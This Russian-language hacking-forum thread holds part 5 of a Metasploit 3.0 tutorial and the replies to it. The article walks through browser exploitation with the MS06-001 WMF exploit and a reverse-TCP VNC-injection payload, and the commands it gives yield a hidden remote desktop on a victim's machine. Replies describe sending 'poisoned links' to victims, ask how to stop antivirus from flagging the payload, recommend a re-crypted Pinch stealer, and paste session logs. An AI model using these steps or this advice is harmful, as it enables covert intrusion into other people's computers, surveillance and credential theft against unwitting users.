![]() |
TotalControl (учимся юзать VNC или Metaspoit Framework часть 5).
TotalControl (учимся юзать VNC или MSF 3.0 часть 5). Предисловие. Кто не знает что такое MSF 3.0 читайте статьи 1-4. Долго ждали релиза Metasploit Framework 3.0 и наконец-то дождались! Рекомендую к прочтению пользовательский мануал на русском, любезно переведённый n0ne. читать мануал В релизе очень много изменений, по сравнению даже с версией 3.0 beta 3. Остановлюсь на нескольких главных: 1.) Все сплоиты переписаны на Ruby, самих сплоитов естественно больше, уже 186 (после апдейта). 2.) Сплоиты лежат в подпапках по типам целей (уязвимых систем, браузеров, сервисов и т.п), при использовании надо указывать полный путь (копипастим, после команды show exploits нужный сплоит, чтоб не набирать). 3.) Консоль перенесена полностью в веб-интерфейс и сделана на javascript. 4.) Добавлены многофункциональные начинки по механизму соединения: PassiveX, по функционалу: Meterpreter, Win32 DLL Injection, VNC сервера, также добавлены генераторы (обсфускаторы) кода сплоитов. 5.) Добавлена поддержка SOCKS и HTTP прокси (стабильна цепочка до 5 - говорят в мануале, но нам и одного анонимного хватит). 6.) Тут будут добавления... Сразу скажу о главном недостатке: Так как используется интерпретатор Ruby+ эмуляция консоли в WEB-интерфейсе - наблюдаются ощутимые тормоза при работе в консоли. Для меня актуально, так как весь пакет у меня стоит ещё в добавок в гостевой ОС, но если вы поставите его в основную систему то наверно дискомфорта можете и не заметить. Виртуальная система по производительности соответствует Pentium-II-433 с 512 RAM - так, что обладатели старых компьютеров тоже могут ощутить медленную работу в WEB-интерфейсе. Жаль, что не оставили просто консоль (может где-то и есть, надо просто покопаться). 1. Обзор необычных, продвинутых, многофунциональных начинок. а) PassiveX - ну об этом типе начинок я не писал ещё, обратимся к ману и посмотрим, чем хорош этот тип начинки. Ага грузит произвольный элемент управления ActiveX. Начинки такого типа патчат реестр системы цели и заставляют взломанный процесс запустить браузер с URL, который соединится с Framework. Вообщем комп жертвы становится веб-сервером, который может принимать и отправляет запросы. Взломанная система загружает, регистрирует и исполняет ActiveX. Начальная начинка PassiveX, windows/xxx/reverse_http, поддерживает любой ActiveX. В дополнение к начальной начинке PassiveX модуля прилагаются ещё три (Meterpreter, Win32 DLL Injection, VNC сервер). Когда мы используем любую начинку этого типа, объект PassiveX будет эмулировать TCP соединение через HTTP GET и POST запросы. Это позволяет вести диалог с шеллом по HTTP трафику. Так как PassiveX использует браузер Internet Explorer для загрузки компонента AcitveX, он будет работать прямо через удаленный прокси, используя любую систему и настройки идентификации, которые были заранее сконфигурированы. Начинки PassiveX работают только на системах с установленным Inter Explorer 6.0 (не 5.5 и 7.0). Вообщем специфичный тип начинок, прокатит только, где есть Осёл 6.0. Хотя механизм очень интересен. б) Meterpreter - ну я уже о нем писал в 4 части статей по MSF, тут всё остаётся так же. Скажу только, то, что это продвинутый шелл, который позволяет расширять свой функционал динамически, т. е. когда мы в нём, ну типа автоапдейта (обновляет сам себя). Ну немного повторюсь и рассмотрю подробнее этот тип начинок: делаем show payloads в консоли и смотрим: Цитата:
в) Win32 DLL Injection - Читающим статьи Криса Касперски должно быть известно такое название. Вобщем этот тип начинок способен внедрить в память любую DLL в комбинации с любым Win32 эксплоитом в память взломанного процесса. Эти начинки не записывают ничего на диск DLL'ка пишется прямо в память. Эта начинка была разработана Jarkko Tukulainen и Matt Miller и является одной из самых мощных техник взлома на сегодняшний день. Для создания DLL'ки, которая может быть использована с этой начинкой, используй любой девелоперский (разработческий) интерфейс и создай стандартный Win32 DLL. Этот DLL должен экспортировать функцию INIT, которая занимает один целочисленный аргумент, который содержит в себе дескриптор сокета, через который будет работать начинка. Когда процесс закончился, он должен вернуться и разрешить загрузчику выйти из процесса, согласно функции EXITFUNC. Ну да инжект рулит, внедрение в процесс, тут тебе и обход файрволов и т. д. (правда если есть контроль компонентов то запалится). Вообщем делайте свою DLL и можете закинуть на комп жертвы! А можно и выбрать какую либо, например бажную и взломать уже через её повторно. :D . Я на этом подробно отсанавливаться не буду, так как больший интерес этот тип начинок представляет для тех, кто кодит и пишет свои dll. г) VNC сервер - самое "вкусное" - это не что иное как удалённый рабочий стол с обычным привычным интерфейсом, таким как у сервера терминалов или Радмина! Тут используется механизм инжектирования dll во взломанный процесс (см. метод описанный выше). Но саму dll нам уже предоставили! Она и выполняет функции VNC-сервера - передаёт нам содержимое рабочего стола взломанного компа. Одна из первых DLL начинок был VNC сервер. Он был написан Matt Miller и основывался на RealVNC. Дополнительные модификации были сделаны для того, чтобы сервер мог работать со взломанным, неинтерактивным сетевым сервисом. Эта начинка позволяет получить доступ к рабочему столу взломанной системы, используя Win32 эксплоит. DLL'ка загружается в удаленный процесс, используя организованную загрузочную систему и слушает запросы VNC клиента на том же сокете, через который загружался DLL. Framework слушает локальный сокет VNC клиента и информацию о прокси через соединение начинки с сервером. VNC сервер будет пытаться получить полный доступ к рабочему столу. Если первая попытка завершается неудачей - он вызовет функцию RevertToSelf() и потом попробует получить доступ снова. Если опять неудача - он вернется в read-only режим. То есть в этом режиме мы сможем только просматривать содержимое рабочего стола (как режим view у Радмина) . Если получим полный доступ то VNC сервер запустит коммандную строку на рабочем столе с привилегиями взломанного сервиса. Это удобно, когда за компьютером сидит непривилегированный пользователь, а взломанный сервис имеет привилегии System. Если ни один пользователь не зашел в систему, или экран заблокирован, коммандная строка может быть использована для запуска explorer.exe-проводника.. Если пользователь блокирует экран во время использования или заходит другой пользователь, т.е. происходит смена экрана, то VNC сервер отключится от клиента. Есть несколько ситуаций, когда VNC-сервер не будет работать. Вообщем если переменные окружения взломанной системы имеют специфические значения, которые критичны для эксплоита или метода внедрения, то облом! 3. Практическое использование VNC-сервера (инжект vncdll.dll во взломанный процесс). 1. Запускаем пакет MSF. грузится долго у меня в гостевой ОС. Выключим KIS 6.0 чтоб не надоедал (проактивная защита) 2. Топаем на Вебсервер метасплоита, запускаем консоль. Код:
Welcome to the Metasploit Web Console!Код:
>> show exploitsКод:
use windows/browser/ms06_001_wmf_setabortprocКод:
info windows/browser/ms06_001_wmf_setabortprocКод:
>> set LHOST 10.0.3.84Код:
>> show payloadsКод:
>> set PAYLOAD windows/vncinject/reverse_tcpКод:
>> exploitКод:
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)Вот так мы взломали удалённо компьютер юзверя и получили удалённый рабочий стол с возможностью выполнения комманд. Примечательно, то что сервер VNC невиден в процессах, так как он исполнен в виде dll, которая инжектированна в взломанный процесc run32dll.exe - и он будет жить до тех пор, пока не грохнут родителя (run32dll.exe). 4. Заключение. Вот так мы испытали технику инжектирования dll во взломанный процесс и удачно получили доступ к рабочему столу юзверя. Снял видео по взлому, кому интересно качать тут (55 метров в ахиве) -=lebed=- (с) специально для Античат. отдельное спасибо n0ne за перевод мануала MSF 3.0 (использовал инфу с его перевода мануала MSF 3.0) Кстать n0ne, как там дела с переводом мана для разработчиков? |
за статью +1
Ты кстати не знаешь, как это vnc inject замутить руками, имея только cmd шелл, ипользуя например ту же самую vncdll.dll |
Цитата:
|
Ну не только cmd шелл, еще файлы загружать в систему можно.
Просто я не особо шарю в таком, интересно было узнать, как написать exe-шник, который грузит в память эту dll-ку и запускает vnc. Просто есть фишки, которые через cmd шелл не сделаешь, а через vnc в самый раз |
Цитата:
Загрузить файлы в систему и исполнить exe - используй такую начинку (кликай по цифре 2 у меня в подписи и читай). А уж какой exe будет грузится с инжектом или нет - это другое дело, бери Пинча и грузи (тока перекриптуй хорошо, на сколько мне известно он инжект использует). |
Я тут немного о другом спрашивал, а именно код программы которая при запуске будет грузить эту длл-ку в память (не используя маетасплоит)
|
Млин, снял видео по взлому по этой статье. 55 метров получилось в архиве! наверно из-за того, что 1280x1024 сделал, куда мона это хозяйство залить? Щас перекодирую, правда в качестве потеряю...
|
И опять таки сорри если не в тему, автор то старался, но видео уже есть на милворме.
|
Цитата:
|
Залил на Рапиду, качайте (линк в статье) или вот он http://rapidshare.com/files/27458303/VNC-______.zip
|
Мануал постараюсь доделать до 13 мая, если не получица, то уже в июне. уже где-то 60% готово :) А за статью респект. мне понра :)
|
Все ьы хорошо, если бы еще работало гладко, сам wmf файл у меня не загружается, осел блокирует его, и приходится самому открывать заблокированное окно и нажать Открыть.
Кстати когде я пробовал делать такую же фишку с трояном (начинка window/download_exec), то там тоже все работало, но подтвержадать надо вручную..., а если врубить Каспера или Фаер дак вообще шансов ноль..., малоэффективная вещь... |
Цитата:
|
Вообщем пробовал я локально поднять VNC-сервер состоящий из одной dll (vncdll.dll). Для этого я создал reg-файл следующего содержания (для того чтоб dll подгружалась, как расширение основной оболочки):
Код:
Windows Registry Editor Version 5.00 |
Хоел спросит у тебя о том же. Может какая-то их Export-функций отвечает за поднятие серваера. Я пробовал вызвать init без параметров. Открылать синее окно cmd :) Но порт не слушаеться. Lebed, появились какие-нибудь идеи за это время?
|
народ сори за ламерство конечно! Но я че то ваще ниче не понимаю кароч сделал я ядовитую ссылку впарил её пишет :
Код:
[*] Sending stage (2834 bytes)[*] Sleeping before handling stage...[*] Uploading DLL (340049 bytes)...[*] Upload completed.[*] Starting local TCP relay on 127.0.0.1:5900...[*] Local TCP relay started.[*] Launched vnciewer in the background.[*] VNC Server session 1 opened (10.195.4.62:4444 -> 10.244.7.84:3709)[*] Upload completed.[*] Starting local TCP relay on 127.0.0.1:5900...[*] Local TCP relay started.[*] Launched vnciewer in the background.Да и как сделать что б антивирь не орал??? |
Цитата:
2. Попробуй запустить вьювер в ручную и одключится к взломанному компу. Launched vnciewer in the background. ~ Вьювер запущен на заднем плане.. |
У меня накопилось несколько вопросов по 3ей версии. ответте пожайлуста.
1) у меня адсл. вседствие чего адрес внешний\внутренний. >> set LHOST 192.168.1.** (ввёл локальный адрес ) LHOST => 192.168.1.33 >> exploit [*] Started reverse handler[*] Using URL: http://192.168.1.33:8080/9mcvPzU4ex(эта ссылка не запустилась у человека который сидит у моего же провайдера)[*] Server started.[*] Exploit running as background job. >> set LHOST 88.147.173.*** (попробовал ввести внешний IP) LHOST => 88.147.173.190 >> exploit [*] Started reverse handler[*] Using URL: http://192.168.1.33:8080/EoUUDsz5V(всё равно прописываеться внутренний!)[*] Server started.[*] Exploit running as background job. P/S. я слышал что возможно нужн овключить переадресацию NAT с внешнего на внутренний. только как это сделать?(ADSL zyxel 660 ru) 2) >> set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp msf exploit(ms06_001_wmf_setabortproc) >( в более ранних версиях вроде указывалась начинка. в 3 не указываеться?или я делаю что то не так?) P/S Пробовал даже сам на себя заходить с IE6 (SP2) c lдругой учётки. Файл скачался,но шела не появилось.Обьясните\помоги те пожайлуста. p.p\s. тут вы сказали что файлик со сплойтом можн опереименовать..А есть параметр для задания его имени? |
так кто нибудь может ответить?
|
Перезалей видео! пЛиzZZ
|
консоль включаеться нажатием Ctrl+O сам долго искал )
|
| Время: 09:43 |